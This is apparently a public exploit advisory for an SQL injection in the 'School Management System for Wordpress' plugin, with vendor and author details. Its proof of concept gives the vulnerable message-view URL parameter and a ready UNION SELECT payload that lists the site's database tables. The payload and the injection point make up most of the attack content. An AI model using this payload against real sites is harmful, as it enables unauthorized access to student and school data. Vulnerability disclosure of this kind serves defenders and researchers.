WordPress Plugin School Management System - SQL Injection

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# Exploit Title: School Management System for Wordpress  - SQL Injection
# Dork: N/A
# Date: 26.09.2017
# Vendor Homepage: http://mojoomla.com/
# Software Link: https://codecanyon.net/item/school-management-system-for-wordpress/11470032
# Demo: http://www.mobilewebs.net/mojoomla/extend/wordpress/school/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an student members to inject sql commands....
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# Proof of Concept: 
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# http://localhost/[PATH]/?dashboard=user&page=message&tab=view_message&from=inbox&id=[SQL]
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# -50++UNION(SELECT(1),(2),(3),(4),(5),(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),(7),(8))--+-
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# Etc..
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